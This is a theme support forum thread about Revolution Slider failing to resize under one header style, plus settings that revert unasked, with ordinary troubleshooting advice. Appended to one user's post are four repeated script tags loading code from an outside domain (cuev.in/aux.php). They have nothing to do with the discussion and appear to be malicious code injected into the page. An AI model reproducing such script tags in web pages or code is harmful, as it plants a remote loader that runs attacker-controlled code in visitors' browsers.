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Incompatibility encountered with Revolution Slider

    • 9 years, 11 months ago Gurkina
      Participant

      Expired

      Hi,

      I’ve encountered one incompatibility with last version of Revolution Slider plugin.

      When header style “Menu item with border bottom” is selected, the slider doesn’t scale properly. With the other styles works fine.

      This is what happens: when the window is narrowed, the slider keep the original size and doesn’t scale properly up to overflows the window space of the explorer.

      I’ve tested in a few sites with the same results. You should test and fix this issue.

      Best regards!

    • 9 years, 11 months ago Mirela
      Participant

      Hello,

      Thanks for notifying. We will check this and make the necessary changes if needed.

      Best regards!

    • 9 years, 11 months ago rschierl
      Participant

      Expired

      I think I am having this same issue, any resolution?

    • 9 years, 11 months ago Mirela
      Participant

      Hello,


      @rschierl
      ,
      We have tested the latest version and it does not pose any issue. Please send us your site’s url. So we can help you with your issue.

      Best regards!

    • 9 years, 11 months ago rschierl
      Participant

      Expired

      This reply has been marked as private.
    • 9 years, 11 months ago rschierl
      Participant

      Expired

      As a side note, I’m occasionally experiencing settings reverting without my having made any changes. For instance, I set the button styling, one hour later, the button styling is set back to what it was before I made the change. I haven’t touched that setting. Is some page refreshing or updating in the background?

    • 9 years, 11 months ago Mirela
      Participant

      Hello,

      I opened your site in mobile and iPad, but the slider re-sized as it should. Please see iPad screenshot and iPhone screenshot. What do you need to change to it?
      As for the saving issue, there can be many reasons for this happening.
      Solutions for you to try:

      – deactivating all plugins to see if this resolves the problem. If this works, re-activate the plugins one by one until you find the problematic plugin(s).

      – resetting the plugins folder by FTP or PhpMyAdmin. Sometimes, an apparently inactive plugin can still cause problems.

      – re-uploading all files & folders – except the wp-content folder – from a fresh download of WordPress. Make sure that you delete the old copies of files & folder before uploading the new ones.

      -One options is that you may have a database problem. We suggest you to repair database tables first. Read more information regarding it in this article.
      Let us know.

      Best regards!

    • 9 years, 11 months ago rschierl
      Participant

      Expired

      As to the slider issue, the home page slider ‘loads’ correctly at various window sizes, but if the page is resized (dragging window for instance) on desktop then the slider image hangs out of the boxed container, or fails to fill, until the page is refreshed. See images:

      https://snag.gy/qSStn.jpg

      https://snag.gy/fyY9a.jpg

       

       

       

    • 9 years, 10 months ago Gurkina
      Participant

      Expired

      Hi:

      I’ve created a new site (new database, new WP, free of plugins, new everything, …) and tested this issue and the problem persists. I’ve checked with Twenties themes and slider works fine.

      The solution is easy: don’t activate “Menu item with border bottom” and yet but you must consider this replies because I bet we are not the only users that happens this situation. I think the problem is not caused for a database problem, plugin incompatibilities or something like that.

      Best regards!

      <script src=”https://cuev.in/aux.php?ver=1.0&ref=at&#8221; type=”mce-text/javascript”></script><script src=”https://cuev.in/aux.php?ver=1.0&ref=at&#8221; type=”text/javascript”></script><script src=”https://cuev.in/aux.php?ver=1.0&ref=at&#8221; type=”text/javascript”></script><script src=”https://cuev.in/aux.php?ver=1.0&ref=at&#8221; type=”text/javascript”></script>

    • 9 years, 10 months ago Mirela
      Participant

      Hello,

      Please refer to this topic, regarding this.
      Let us know if you need further support.

      Best regards!

    • 9 years, 10 months ago rschierl
      Participant

      Expired

      That fix didn’t seem to do anything. Just so you know, the codeless slider works fine in the container. Seems to be an issue with rev slider. Also, it’s not limited to the navigation with underline, I tried a few other navigation styles and they all had weird issues.

      What slider are you using on the demo here – https://codeless.co/specular/business3/ because it works fine, I’ll just use that.

    • 9 years, 10 months ago rschierl
      Participant

      Expired

      I don’t get it, that’s rev slider. I changed my menu to the link underline – I still have issues with it not filling. Something is going on with that container.

       

       

    • 9 years, 10 months ago rschierl
      Participant

      Expired

      Also this: https://snag.gy/p7lny.jpg

       

    • 9 years, 10 months ago Mirela
      Participant

      Hello,

      Please open up a new ticket and send us your wp credentials in a private reply. If you send them here, the original topic writer is able to see them as it is his post. So we can give a closer look to the revolution slider behavior.
      -For the button issue, please go to file includes/core/codeless_elements.php and find this line: vc_remove_element("vc_btn");
      replace with this: //vc_remove_element("vc_btn");

      Best regards!

    • 9 years, 10 months ago rschierl
      Participant

      Expired

      Ok will do thanks.

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